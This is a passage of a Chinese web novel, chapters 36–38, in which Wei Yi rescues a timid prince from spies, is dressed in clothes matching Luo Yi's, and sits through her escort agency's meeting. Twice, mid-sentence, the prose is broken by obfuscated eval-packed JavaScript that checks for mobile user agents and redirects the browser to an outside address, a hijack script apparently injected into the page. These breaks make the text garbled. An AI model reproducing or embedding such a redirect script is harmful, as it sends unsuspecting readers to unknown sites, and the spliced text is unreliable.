“救命啊!”云攸纾的声音由远及近,抬头看时,这熊孩子一边跑一边喊着,后头追着那位下面挨了一刀的大胡子。 “这么强!”罗晏惊叹道,“这还能跑呢!” 云攸纾闭着眼猛冲,察觉前面有人才睁开眼来,一睁眼,就猛然看见两面湿淋淋全是血迹的胸膛,还有四只黏糊糊的血手握着武器。 “啊啊啊啊啊啊鬼啊!救命!”不敢抬头看脸了,直接拐了弯继续跑。后面是大胡子,前面是看都不敢看的两个恐怖人物,云攸纾越发乱撞。 “平焕,你看一眼,是我们啊!”罗晏叫道。 云攸纾躲进角落里,用两只手捂着脸,露出一个缝隙来,做着心理斗争向这边看。 韦祎叹气,弩机对准大胡子的脚面,扣下扳机,小箭把大胡子的左脚钉在了地上。 懒得重新上弦上箭,而是摸出一根甩手刺,把他的右脚也钉上。 处理了大胡子,二人收了武器,向角落的云攸纾走去。 云攸纾已经做好了心理建设,看清了这两人真是来救他的,欢欣地扑了过去,抓住了韦祎的衣领子,正想说些什么呢,发觉手中黏糊糊的,伸开自己的手一看,血红一片。 这是韦祎身上沾的血,刚才在舱室里查探时,情急之下被一个赤条条的男子撞进怀中,只好就近托着他的下巴给他抹了脖子,动脉里大半的血液都流到韦祎身上,搞得身上的衣服都变沉了。 “啊血!”云攸纾惊呼了最后一声,身子歪倒,晕了过去。 韦祎接住,摇晃两下也没摇醒,只得把他扛在肩上。 36. 月白衫 云攸纾找到了,周冲还没找到,把一层的舱室翻过一遍也没有新发现,只好带着晕厥的云攸纾走上甲板透透气。 甲板已被肖丰等人控制,效率奇高,歹人们用绳子捆成一串,栓在桅杆下。 “醒醒,醒醒!”韦祎找到水桶,洗了洗手,抓一捧凉水洒在云攸纾的脸上,拍一拍。 云攸纾幽幽醒转,清醒过来后,第一件事就是抓着韦祎的手,“我刚才没晕!” “嗯……好的。”韦祎无奈点头,问他:“你可见到周冲了?” “周冲在何处?”肖丰闻声,也走过来等着听。 “肖丰你背过身去。”韦祎立刻做出反应,用身体挡住云攸纾的视线。好不容易醒了,见了肖丰又要晕。 “见到了!”云攸纾立刻做起来,“傍晚时,他在林子里,想救我,杀了好几个人!过了一会儿就有个看起来很厉害的高手从树上跳下来,把周将军给砍伤了!” 指着那一串被困在桅杆上的歹人,问:“打伤周冲的人,在其中吗?” 云攸纾壮着胆子,抓着韦祎肩膀藏在韦祎身后,拿他当盾牌,一点点向桅杆处靠近。 “都捆起来了,你怕什么?” “那可不行!刚才我看见门口没人了,从房间里逃出来,正走呢,听见有人叫我,就是那个络腮胡的,被人捆着躺在楼梯底下。我看他被捆了,才敢过去。”云攸纾讲得很夸张了,挥舞手臂做饿虎扑食状,“我刚走过去问他怎么跑出船,他一下子就挣开了,朝我扑过来!” “好吧。”韦祎向罗晏那边看去,罗晏叉着腰望向平静悠远的海面,捆没捆结实的,可不关他的事…… 云攸纾缩着肩膀仔仔细细看了一圈,揪出几个人,是夜里在城里劫走他的。 至于那个大胡子,其实就住在官驿的天字三号房,有一次周冲他们在屋里打牌,叫了两声,这大胡子便来拍门抗议,开了门,几个人都见过他。 校尉们正着手清理舱室,将船里的尸体都抬到甲板上来。“那你再看看这边,有没有见过的?”云攸纾躲在韦祎身后,埋着脸由韦祎带着,提醒他看时,一探头便看到一地的尸体。 “我不!”云攸纾只看了一眼,立刻躲了回去。 “你不想找到周冲了吗?乖,男孩子要勇敢!”韦祎用上了哄自己儿子的语气。 “我都十七了!我不是小孩!”云攸纾不满。 “我十七的时候都给你爹爹当护卫去了,你十七岁怎么连尸体都不敢看啊?”韦祎继续哄着。此时罗易在就好了,她来搞定云攸纾应该没问题,韦祎想,不过罗易没法从悬崖上跳下来。 “我,我不是不敢看,我是不想看!”云攸纾站了出来,“看在周将军的份上,我就帮你们这一回!” 可是,并不是想要不害怕就能做到不害怕的。 众人看他瑟瑟发抖地靠近那一排尸体,指了一个人,是仓库那位清瘦男子,说这人也曾出现在城里,其他人,云攸纾都没有印象。 看完了吓人的尸体,舒一口气,放下心来,得意洋洋转过身去,正看见肖丰出现在身后! 一声不响软倒了下去。肖丰则适时叉住肋下,也没叫他摔着。 “这位就是?”肖丰问。 “对。” 肖丰若有所思,不过想到龙生九子各有不同的说法,便释然了。 善后颇费功夫,在事情没有弄清楚之前,韦祎厚着脸皮借用了罗氏宅子的仓库当牢房,意图将俘虏审问一番,罗晏强打着精神跟来凑热闹,罗易则陪着郎中给云攸纾检查身体去了。 审问刚开始,肖丰就看韦祎和罗晏这两个人困得东倒西歪的,不顺眼,把他们两个撵走。 被赶走的韦祎想要去云攸纾房里关切一番,又被罗易提醒,看病的郎中就是上次数落韦祎不会照看弟弟的那位,韦祎门口打个转,没敢进去。 “我看你还是赶快吃点东西去睡一觉吧,天都亮了。”在罗晏的建议下,二人各自回房歇息。 周冲不知所踪,韦祎刚才站在仓库外考虑,自己是不是应该更着急一些,真就回去睡了? “他自有命数在,你急有什么用?”肖丰疑惑道,“行动也得等审了这几个人。” “就这么去休息了,岂不是漠视他人生死?” “你漠不关心吗?”肖丰一副不耐烦的样子。 “没有。” “命要是不好,现在已经在鱼肚子里了,你……”肖丰欲言又止,最后把话憋回去了,转头就走。 “我替他说!既然你没有漠不关心,你现在矫情什么呢?”罗晏跳出来,对着肖丰的背影叫道,“肖将军!我说的对吧!” 肖丰砰地关上了仓库门。 再醒过来时,已经过了中午。方便起见,此时众人住在罗易的家中。 东海郡的罗宅分为两部分,宅子西侧,加上西花园、西别院都归罗易,东侧宅子住罗易的父母和弟弟妹妹们。 东西分界线上砌厚墙,有门,由罗易的家丁看守。 宅子一分为二,进出都不走一个门的,所以罗易请他们回家住,根本不用请示父母。 “你醒啦?”罗易也刚起,打扮很家常,蹲在门廊下逗狗,见韦祎过来,站起来打招呼。乌发编了一条辫子,绕过来搭在胸前,身上穿一条轻软的月白色齐胸襦裙,没戴首饰。 “是,刚起。”韦祎颔首示意。 “平焕只是被吓到了,郎中开了一副安神的方子,喝两天便好。” 说起来,云攸纾回城的路上叫嚣着他受伤了,让韦祎快去关心他。韦祎只好去问,“你何处受伤啊?” “这!我的手腕都被捆得青紫了,还有我的后颈处,疼得厉害!” 韦祎让云攸纾低下头来,掀开他的衣领看了看,用手指碰了一下,“是这里吗?” “好痛!一定是流血了!” 后颈处有一小片皮肤擦伤,被麻绳搓的,已经结痂了。再看看手腕脚踝,确实有些许青紫,捏一捏检查,骨头好着呢。 “嗯,是得赶快请郎中,你这伤啊,不快些治疗就要痊愈了。” 要说皇子嘛,韦祎认识好几位呢,云攸纾算是典型的熊孩子。不知道罗易是欣赏他哪里,难道是因为母性才关心他不成? “嘿!想什么呢?”罗易在韦祎眼前拍拍手,“给你备的衣裳,穿着算是合适,还不快谢我!” 韦祎和罗晏各自扔了一套外衣在山洞里,没回去捡。韦祎包裹里那套是之前换下来还没洗的,罗晏则根本没带包裹回来,至于身上那套吸满了血又臭烘烘的衣裳,脱下来了就赶忙给扔了。 佣人拿来了衣服,没别的可选。 韦祎身上穿的,是一套月白色软罗、牡丹暗纹的圆领窄袖袍,头上配一根洁白无纹路的羊脂玉簪子。 这套衣裳与罗易身上那件同料同色,韦祎猜着她是故意的,但不好意思说出来,他还没那么自信。 罗晏从相邻的房间出来,说饿了,要去吃饭。 于是,罗易便说:“饭菜备好的,等我收拾一下,一起去。”说罢便回到卧室,关上了门。 哎?我说为何觉得有些怪,她身上那条裙子怎么没袖子的啊!韦祎惊觉,才想起来,刚才白生生嫩藕似的两条胳膊在他面前晃了好一会儿了! 既然反应过来,只好迟迟的念叨了一句“非礼勿视”。 “非礼勿视个屁啊!人都走了你非礼勿视!刚才没看见衣服没袖子啊?!”罗晏指责道。 “这院里的花开得不错啊!”韦祎低头看看,脚边是一排茉莉,花期刚过,全是翠绿的叶子。 “你是真没觉得?”罗晏反而不指责了,悄悄凑过来问,“嗯,难道你那个……” “壹通,我有孩子呢,你连结婚都没结过,好意思怀疑我?” “我说什么了?”罗晏正等着呢,“你这人,怎么见了双胳膊就想着结婚生子那点事儿?思维很跳跃啊!可鄙可鄙!” “你!” 韦祎看了看罗晏穿的衣裳,一套薄翠色的对襟劲装,暗纹是竹叶,头上顶着墨玉冠。看来罗易真不是月白色绸子用不完才弄成同色。 “对了,韦将军,韦大人,草民有一事忐忑不安。”罗晏笑嘻嘻拿腔拿调。 “说来听听。”韦祎亦假笑。 “昨夜有幸与将军您夜探贼窟,事后才想起来,您是朝廷命官,大将军,杀掉敌国的间谍理所应当,但我只是一介草民,内心不安呐!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357864|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “说起这事,我还想问,你真是行云流水一气呵成,动作比我熟练呢?” “那你应该反思了,比我还不熟练,是为什么。”罗晏先杠一句,才想起来此时轮到自己服软来着,“我这行走江湖,奔波各地的,总会遇到些不得不杀人越货,呃不,总有些不得不正当防卫的时候!” “咱们齐国的治安有这么差?”韦祎疑惑。 “不止齐国,哪哪儿的都不怎么好,你们这些当官的,任重而道远啊!” “归我管吗?还有,你忐忑你别跟着我去啊!” “那怎么成?你看你这么不熟练,我不跟着怎么能放心。” 眼看对话已经变为斗嘴,罗易适时走了出来。 “好了,我们走。”她已经重新梳了头发,盘在脑后,插着一根素白的羊脂玉簪,比韦祎头上那根大些,绝对是一套的。 扫了眉、唇上点了胭脂,不再露着胳膊,而是罩了一件对襟高领的广袖外套,当然,外套的料子也与韦祎相同。 “我觉得我有些多余。”罗晏感慨。 “堂哥怎么能算多余呢?我记得前些日子和堂哥猜谜,说是猜中了就有彩头,经过了昨夜,终于验证了是外国细作作祟,快给钱。”罗易笑道。 后面响起一阵衣摆飞舞声:“我在饭厅等你们。”脚底抹油,罗晏已窜上房不见踪影。 罗晏都先跑了,只剩韦祎和罗易两人并排而行,韦祎也不好意思撇下此间的主人家上房跑了,只好眼观鼻、鼻观心,忐忑着闭嘴走路。 好在罗易没为难他。 二人先行至云攸纾的房间,请他一同去吃饭。 本来,这位小王爷为了显示自己娇弱,说他不能起床了,随后即看见门口站着的韦祎竟然和罗易做配套打扮,立刻怒目翻身下床,披上衣服就出了门,非要站在二人中间。 再向后绕了一间院子,有三名校尉正轮休,罗易给他们也准备了衣裳,比他们自己的衣裳品味高了不止一大截。 这几人上前见礼,很识趣地提出不与韦祎一同吃饭了,要去换班呢,笑得贼兮兮地窃窃私语,一溜烟跑了。 罗易仍然不准备拐弯回正厅吃饭,而是继续向西转弯。 过月亮门,绕影壁,进了西别院。 敲开一栋小楼的大门,原来殷濯住在此处,唤他一同来吃饭。殷濯又说朱愈嫌回家太麻烦,也没走呢,于是四人一同又往别院内走了一小段路,到一间精巧的,种着无数山茶花的小院,把朱愈叫了出来。 又继续行进,请了褚先生和另一个山羊胡子老头,一个老太太,还有另外几个漂亮极了的年轻男子、年轻女子,浩浩荡荡一大群人,才往饭厅去。 韦祎脸色古怪,听着后面队伍里几人小声议论道:“虽然刚吃过饭,但这可是久仰大名的韦公子,咱们可得同去看看。” “真的?咱们小姐好像很中意呢!看这衣裳!看这簪子!” “对对对,老婆子我午觉都不睡了,可不能错过了!” 只好悄声问罗易,“你看这?” “那是他们说的,又不是我在说。” “这不是你的人?” “是我的人,嘴里也长不出我的舌头来。”罗易反问,“难道你管得了你的人?” 韦祎刚想辩白“当然管得了”,侧面正好是肖丰换班下来,在回廊里走过,他没准备睡觉,而是想洗漱洗漱吃点东西再回去。肖丰顶着两个黑眼圈,疑惑地看了看这一大群人,在里面找到了韦祎,没控制住,翻了一个白眼,走了。 “嗯?”韦祎殷勤道:“一起吃?” “不去。”肖丰说,“等下你吃完了过来。” “噢,好。”韦祎答。 看肖丰走了,“是吗?管得了?”罗易接着刚才的话题说。 韦祎闭嘴了。 看似是众人围坐吃饭,实际上,现在都下午了,除了昨晚在外奔波的几个人,其他人都吃过午饭,坐在桌旁围观罗易的“新欢”呢。 这“新欢”里面也包括云攸纾,这孩子不故意捣乱的时候还挺招人喜欢的,把几个老人家哄得眉开眼笑。 韦祎前些日子才觉得罗易这儿关系乱,马上,他自己也乱在其中了。 37. 第一镖 “渔甫。”饭毕,众人依依不舍散去,殷濯在门口等着韦祎。韦祎踌躇很久未能想到体面逃离的办法,最终只能走过去与他说话。 “韦将军。”殷濯亦拱手。 昨个儿白天殷濯本想跟韦祎同去郊外找罗易,后来见官驿客房中首尾甚多,于是他便留下来处理报官等事。 “你我平辈,又并非在官场结识,叫我的字即可。” 殷濯笑而不语,颇有些不置可否的意思。 报告官府的结果,大致是郡守府听说此事又是王爷、又是间谍的,派人把官驿二楼给封锁起来了,等相关的大官们回来了,亲自处置,他们一定全力配合。 “喔,所谓的大官们,就是我和平焕?”韦祎望一眼仍在厅中撒娇打闹的云攸纾,甭指望他了。 又叹道,自己什么时候成了大官了? “郡守才从四品,您不仅品级比他高,而且是钦差,当然算是大官。” 是先去找驻东海郡的密探,还是先去找肖丰? 没等韦祎决定好,肖丰就来找他了。报告一如既往的简洁明了:“这几个只是下等喽啰,按吩咐行事。” “那海崖上是发生了什么?”韦祎追问。 “他们这些人并不知道帮他们的是谁,周冲受伤后,他们也并没有带走周冲。” “为何要掳走平焕?” “要阻止我们和西域结盟。”肖丰道,“只是可疑在,想阻止结盟,为何不直接杀了平王?” “是啊。”韦祎也看出了其中的不合理之处,云攸纾怎么看都没有利用价值,既没有掌握朝廷情报,又不受皇帝宠爱。 估计着,这次皇帝想起来,要把这个可有可无的儿子送到西域去,是当人质来着,密旨里只是写要把云攸纾带到西域去,却并没有委任给他任何的职务。 “另一股力量,一直没有现出踪迹。”肖丰道,“我们不应在此地熬着,我建议尽快动起来。” “查间谍确非一日之功,我们等不起。”韦祎道,“只是,要走,就管不了周冲了。” “应委托此地官府查访。” 韦祎抿嘴沉思,手中十个人不到,守着俘虏都勉强,况且此行必须保密,要不是因为与罗家有关系,此时更要抓瞎。 只是,不抓到间谍,就是救不了周冲。 “怎么,你想听我假惺惺建议,我们一定要不惜一切代价把周冲救回来?”肖丰不耐烦的讽刺说。 如果,肖丰真的非要建议韦祎一定要留在此处救回周冲,大家经过一番争论,最终再决定以任务为重,赶快离开。这样,反而不会很难受。 现在,能做决定的两个人一致认为要任务为上,赶快离开。韦祎心中有些许难过,这是不是对周冲不公平。 “屁!这是任务,我们大小都被人叫一声将军,他差事不利,换了别的主将,他活着回来了也要斩了他,就是摊上了你,想着周全他。” “啊?”韦祎想了想,不对啊,是因为自己把很不靠谱的任务交给了他,所以才会遇险,岔子出在自己身上。 “你会觉得这次遇到了这么多麻烦,都怪皇帝安排不妥?”肖丰已经在耐着性子了。 “不会。” “你想想为什么呢?” “因为我有俸禄?”韦祎还真没想过为什么,皇帝下旨我办事,勉强算理所应当。 “难道周冲就没俸禄吗?” “那不一样吧?”韦祎想到,自己身后三族都是国之柱石,自然任务更重些。 肖丰根本就不是个会劝说的人,说了这么好几句已经极限了,于是他问,“想打架吗?” 韦祎:“不想!” 等肖丰都走了,罗晏冒出来:“他骂你哎!” “是吗?” “他说,”罗晏绕到韦祎面前来,摆出一副金刚怒目的样子,皱鼻瞪眼呲牙道:“屁!” “这是你在骂我。”韦祎刚才真没注意。 罗晏说了,北边的盐郡管事还拿着假账等着他查呢,“我今晚又该出发了。” “这么没日没夜的,当心秃了。”韦祎祝福道。 “看谁先秃。”罗晏亦微笑祝福,罢了还不忘嘱咐,“你别忘了,人都不是我杀的啊。” “知道了!” 韦祎下午找去了驻东海郡的密探办公室。接待处坐着个书生样的人,双方互看官凭,拱手为礼。 以为这人要给他引见长官呢,结果这书生直说了,近来总部急需人手,他们有一半的人都回到总部接受重新调派了,其他人有的出海巡查,有的去执行任务。 总之,现在整个部门里,只有他自己。 “那官驿的事情,您可有耳闻?” “郡守早遣人来说过了,我也去看过了,不过我能做些什么,不过是记录存档罢了。”那书生苦笑。 “嗯?那我怎么办呢?” “一来,您是京城来的,也许可以直接去信给京城的总部,更快些。二来,好在沥州的州府就在东海郡,我们一起去一趟州府的衙门,看看他们有人手没有。” “好吧。” 去了州府的密探办公室一趟,韦祎发现,最近密探们真忙,能派去国外的可都去了国外。虽然接下了韦祎的报告,但看起来就像是忙得顾不上,不如东海郡那个留守的书生认真。 “只要我们有人回来,一定先查办您这件事。”书生承诺道,随后又陪着韦祎把俘虏们交付到郡守衙门的大牢里,办妥了一应手续。 越发觉得这事情不靠谱起来,此时自己又是个没线的风筝,连个直接上级都没,想从东海郡向京城递加急折子都没法递。 按规定,东海郡这里就没韦祎这号人,才不会给他送折子呢,发八百里加急更是不可能。 打报告竟然得靠私人关系,韦祎兜兜转转又到了罗易面前。 “劳驾贵镖局,能否加急送信到京城?” “当然可以,子隽不必客气。”罗易似乎正要和镖局的人议事,很多人都在,“褚镖头,你们队正要加急去京城吧,顺路了。” 褚镖头上前抱拳,“小姐。” 这位褚镖头很年轻,韦祎觉得,这人似乎和自己年纪差不多。但他唇上留了两撇小胡子,下巴上也留了一把,表情又严肃,显得老成。也姓褚,还有谁姓褚来着? “子隽,我给你介绍,这位是我们镖局的一把好手,褚先生的侄子,褚先生你昨夜见过的。” 韦祎拱手,“褚镖头好,在下韦祎。” 对方似乎想了想:“韦公子好,在下褚旭。” 公子?平时叫公子便罢了,来罗易这里被叫公子,总觉得是被归类了。 瞅着看众人怎么叫罗晏,发现没什么可看的,大家都管他叫少主。 罗易将他引到自己常坐的条案后面,墨有磨好的,笔架上满满悬着各色的毛笔,纸有素笺,也有花笺,格子上有信封皮、红的火漆,一应俱全。 让韦祎自己坐下写信,罗易也不避他,转身走几步在主位处站住,请罗晏坐在上首,罗晏拒绝,坐在了上首的客位。 他们直接在同一个空间里面开始开会议事了。 气氛微妙。 刚才吃饭时,请来一起吃的都是罗易身边的亲随,因此大家调侃起来很随意。 现在,罗易在开会,大厅里韦祎见过的有褚先生、朱愈两个人,褚先生坐在下首第一位,朱愈坐得远,在人群之外只是旁听。 再后面是十二支分队的镖头、副镖头,武术教头、掌柜、账房、后勤、仓管等代表,皆穿了有统一标识的服装,正色依次坐定,满满一大厅。 众人都板着一副严肃脸悄悄打量与罗易穿同色衣裳、戴同式样发簪,又是一副生面孔的韦祎。 褚旭站出来,打开册子点卯,向罗易、罗晏、褚先生报告后,又回去坐定。 罗易放下茶碗,正色道:“咱们罗氏的东海分局重开不到六载,今年竟然就重新拿回了东海第一镖的名头,这一是仰赖族长的扶持,二是全靠在座诸位替我出力。诸位清楚,近来朝廷施恩,拓宽了向西的通商,有些西部分局的同行,仗着自己奇货可居,竟然做出坏了规矩的事情来。我们虽在这最东边,也应当引以为戒,三省吾身,好给咱们本家各地的同行们打个样子!” “好!”“好!”在座众人应声。 一段话毕,罗易微笑向罗晏道:“少主,请。” 这是罗晏来这里本要做的正事。 原想着东海郡这没问题,再加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357865|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上没什么时间,就不做了,罗易却说现在正要开会,来照样说一次比较好。 于是罗晏只好照本宣科一番,讲一个反例子,严明厉害,鼓励发展。 接下来是褚先生,他站起来,说了一阵子,讲得是最近的发展情况,哪里好要发扬,哪里不够好要改进,未来会怎样,当如何应对云云。 褚旭虽然受重用,却不是镖师们的大头领,只是六队的镖头而已。褚先生坐下后,一队的镖头站起,是一位壮实男子,约莫五十来岁,代表镖师们表决心。 大意是,十年前东海的罗氏遭难,镖局跟着闭门,他们这些人随之潦倒了好几年,多亏了小姐站出来力挽狂澜,才又有了今天的成就,大家定然一如既往鞍前马后追随。 他说完了话,议事大会终于进入到了“议事”部分,想发言的人依次发言。 说什么的都有,还有人缠着朱愈要他多训练些信鹰使用,押送大车时采取前队伍做探,大队跟上的模式,若有信鹰就方便多了! 约莫有半个时辰过去,罗易做了个下压的手势,众人又重新严肃坐定,看着她。 一群家丁走出来,捧出一个个盒子来,交给在座的诸位。 “东海郡的惯例,每三年夺一次东海第一镖,彩头是官府出,这次一共有一千一百一十一两,前些天送到了我这里。这数太零碎,不好算,我个人添做了一千六百两,分作这些匣子里,大家各自拿回队伍里分配。” 众人一片叫好声,随后又是褚先生站出来,“诸位有咱们东海罗氏的老人,后生却更多些。我这个老头子自幼时就在东海,在罗氏镖局里,这次夺了第一镖,小姐谦虚,只说是重夺,诸位也许不知,上次夺得第一镖是三十年前,唯有那一次而已!都是行内人,这次第一镖的分量,大家心里都该有些盘算。” 又是一番叫好。 “清楚说给诸位,现在,我们的生意有些做不过来了,哪有镖局让客人提前三个月预约的道理?翻过了今年,明年春天,会在沥州的西部、北部开设两处三级分局,两位局长,将在诸位之中选出,东海郡的队伍会扩充到十六支,新添四位镖头,我暂时没有人选,诸位可以推荐。” 这好像比发钱更引人兴奋,韦祎看着,下面所有人,捧着钱,包括褚先生在内,眼睛闪闪发光! 开会这么长时间,韦祎的信早就写好了,检查好,封起来放在一旁。 这么严肃的环境,从门走出去实在不大合适,站起来说话就更不合适了,做什么行动都不合适,韦祎只好放下笔,双手扶在膝上,正色干坐着不动弹,旁听。 模拟自己每月在兵部例会上坐牢的场景。 偶尔眼神和罗晏对上,罗晏那神色他再熟悉不过,小时候韦祎去围观罗晏被罚抄古文,他就是现在这大义凛然的表情。 看着这位少主端正气派、不怒而威,实际上他对这情景实在受用不住。 强撑着听,简直是眼角要留下一行清泪了! 想想看,他要在接下来的好长一段时间里,去各地重复这一流程。 好不容易散会了,众人有捧着银箱子赶快归队的,有留下来在门口说两句话的,也有等着找罗易说些什么的,又等了一炷香,才众人散去。 褚旭没忘了开会前的事情,留下来走到韦祎条案前。 褚先生也出去了,应该在门外等着侄子呢。朱愈没往门外走,而是往后堂走,也许是去泡茶了。 罗晏和罗易过来围观。 “这个匣子,还有这封棕色皮的信,交给京城池家的次子,地址写在上面了,他是城防军第四营营千总池勤。黑封皮的这信,交给尚书省工部、土木监、国土司、左少司正,江畔。” 三表姐夫的职位,是走之前临时查了查才记住的。 随即又想到三表姐夫不常在衙门枯坐着,又道,若是在国土司衙门找不见人,便去柳仆射府,交给当家姑娘柳鼒也可以。 褚旭点头,问:“在下需要查验匣子。” “你要让他看看。”罗易解释道,“风险几何,怎么押送,要看过了才有打算。” “是应该看,褚镖头请。”韦祎做了个手势。 褚旭打开了匣子。“这?”皱眉沉吟道:“这确是不好送。” 38. 三鸟谋 匣子里头是周冲那只断臂。 肖丰很是生猛,拿去在石灰里面滚一滚,封住断口,简单防腐之后就直接用手拎着,走过了大半的宅子,给韦祎送来,韦祎才找了个匣子给装进去。 “不过问题不大。整个的尸体,若无官府批文,不好送。这一小块倒是无妨。”褚旭合上了匣子,拿了信,要告辞了。 韦祎却犹豫起来了,事态不明,不想将周冲的事情告知给池勤,“等等。池家的信不送了,烦请褚镖头将匣子和信都交给江畔,江大人。”韦祎把刚写的门帖交给褚旭,门帖上盖了自己的官印,好让褚旭能进官府的门。 褚旭依言,“去京城是今夜出发,七日之内可到,到了京城,在下会替韦公子面呈给收信人。”将棕色的信放回条案上,与众人行礼后便离开了。 “唉。”朱愈在后面端了适口的茶出来,此处已经没有外人,罗易长长的叹了一口气,将满满一盖碗的茶端起来,一饮而尽,随后坐进大太师椅里面,一抚裙子,将两条腿也抬起来缩进了椅子,揉着脑袋道:“这大会开多了,要犯胃痛的。” “哈,就知道你也快装不住了。”罗晏笑道。 “都见你在呢,格外爱现眼。”罗易抱怨,随后即转向了韦祎:“子隽接下来如何打算?” “等明日或后日,平焕稍微养好些,我们买了马车,护他从城里走,远远缀着大军。”韦祎无奈道,他想着,这一两天里,再去城里看看,能否寻到周冲的踪迹。 罗易问:“你们送他慢慢走,做什么名头?难不成要挂出郡王旗来?” “自然不成,去密探衙门里拿几本民间身份文牒,只装作是……是商队好了。”韦祎想了想。 罗易噗地笑出来,没等她说话,朱愈就说:“你们哪里像是做生意的?”罗晏则一脸怜悯地看看韦祎。 后面走出来一位穿着儒服的姑娘来,“银子可算都发出去了!堆在房里,实在是让人惴惴。” “符怜,你来了。”罗易仍然全身缩在椅子里,伸出手去够那女子,拉着手撒娇两句。 “斯文些,当心扭了脖子。”那姑娘走来,向韦祎、罗晏问好后坐下。 这姑娘之前午饭时见过,韦祎记得她,因为这姑娘的名字可响亮了,秦琼! 秦琼推推罗易,“只知道问别人,接下来,你要如何打算?” “我自然是要向堂哥讨个差事了!”罗易向罗晏道:“我估计着堂哥走不完那许多镖局,可否容我分担?赏小妹一方少主玉令,让我扯个由头西行一番,公费出差,长长见识。” “喔!”罗晏眼神兴奋起来,似是读到了众多八卦一般,想了想,“一石三鸟,为兄佩服!” 韦祎是看到了罗晏的眼神才惊觉,哎?罗易也要西去,难道和自己一路? 最浅的一层,是罗易拿到替少主行事的名头,往西边逛上一圈,各地的本家族人都要再敬她几分,同时让自己牢牢站上族长一派的战车。 二来,是一路上陪着韦祎和云攸纾,帮忙打掩护,且不管她最终要不要和韦祎成好事,要不要继续和云攸纾不清不楚,这大人情都送出去了,一同走这么一路,日后再不济也是患难之交。 还有一鸟? “老褚最近,和东宅的进展如何了?” 秦琼说,“我这两日只扑在镖局这,东宅的事情给渔甫在管。” “你们真是狠心,我看渔甫被你们这样欺负,不到三十就得秃了。”罗易笑。 正逢殷濯从后面走出来,微笑道,“小姐不必担心,我家父辈祖辈虽去得早,却皆无脱发迹象,我不会秃的。” “你来得正好。”秦琼很殷勤地给他拉开了椅子。 “原本是老爷见了褚先生几面,这几日听说老爷犯了痔,改成二少爷与褚先生见面了。”殷濯摇摇头,“褚先生年纪一把了,熬了夜竟不睡觉,是今天上午的事。” “哼,老二这是有出息了。”罗易冷声道,毫不掩饰厌烦之意。 这是什么内斗戏码?韦祎心里疑惑。 只要是个人,看到这东海罗宅里将东西一分为二的大厚墙,都能猜到这家人关系没那么好。 “他若只是在镖局里头提拔亲信,不伤筋动骨的,我便忍了,但他和东宅搭上了线,就是要置我于死地,我怎么姑息?”罗易旋即给韦祎解释。 褚先生是昨晚那位,今天中午一起吃了饭,看起来是罗易身边地位极高的人,刚知道了是这里镖局的局长。 “他是老资格了,你没听他说,他自小就在东海罗氏。他昨夜特意多打量了你,今个儿便赶着去东宅报告呢。”罗易说,“看看我又傍上了哪一路权贵。” 不对啊,我这秘密行事呢,被人报告了是怎么一回事?韦祎脸色变了变。 “放心,就算是东宅,也只是想夺小姐的权罢了,您的事是大事,他们猜不出来,更不敢乱说。”殷濯安抚道。估计着他是怕韦祎连夜去把褚先生和二少爷等人给杀了。 “渔甫别担心,他不会行动的。”罗晏大笑道,又对罗易说,“七叔叔生了病,你不去看看?” “谁要看他的痔?”罗易怒道,“他的粕门烂透了才好!对了,我这个当女儿的不表示不成,回头替我准备二十斤上好的各色辣椒,让……让默存替我去送。” “您可放过默存吧!”殷濯罕见地一惊,“老爷见了他,又要骂你,又要骂他。还有,不要说那个……”殷濯停下了,他不想说那个词。朱愈替他说:“不要说粕门,那是……那是五谷轮回之窍。 罗晏和秦琼在一旁乐不可支。 默存,叫什么来着,叫云栖。午饭时也见过,原本以为朱愈就够艳丽恣意的,云栖更是十分夸张漂亮,中午吃饭时,他穿了一身薄的丝绸袍子,乍看无异,看第二眼,发现这位美丽的老兄不仅没穿衬衣,而且没穿裤子!柔软近乎透明的袍子下,线条分明!韦祎不知道为什么,立刻把眼神硬生生移到别处去。 按说都是男人,韦祎常在兵营里看到一大群人把衣裳裤子一甩,赤条条比赛,看谁最先冲到水桶旁冲凉,一点不觉得有异样。 “那是老头子嫉妒我,以为我大美人在怀呢。”罗易接着不满道:“还有,我就是要说,大!屁!掩!子!” 不让说粕门,她可倒好,变本加厉了。 好了,知道罗易为什么和云攸纾合得来了,这私下里的脾气怎么是这个样子的? 等等,“以为美人在怀?”韦祎的眼神里稍微露出了一点点疑惑。 立刻被罗易捕捉到了,“喂,渔甫,玉芝,有人还在以为你们是我的面首呢。”又向韦祎说,“子隽你就这么受我堂哥的骗?” 朱愈正站在条案后整理些什么,提着笔呢,抬起头来:“小姐,您看看我这黑眼圈,养面首哪有您这样的,您当这是养食铁兽?好歹怜香惜玉些,我连个下班回家的时间都没,再过几天还不回去,我爹真要以为我给您当面首了。” 食铁兽,好像是巴蜀湘赣一带的熊类,听说可以轻松咬断结实的竹子,毛色奇特,黑白相间,眼睛周围一圈都是黑的,从前南下出征时路上见过。 本想着回程时抓一只来玩玩,结果回程路上一片狼藉,自己能活着就不错了,还抓奇珍异兽? 这边桌旁的殷濯摇摇头:“固所愿也,不敢请尔。”对韦祎笑道,“那是骗平老板玩,没想到连您也被骗了。不过,默存是不是,在下却不清楚呢。” “对默存,那是我,固所愿也不敢请尔!”罗易搭腔。 “默存谁不馋啊?”秦琼也笑。 众人笑,韦祎觉得这越发扯不清了,既然他们又说了不是,那对平焕难道是? 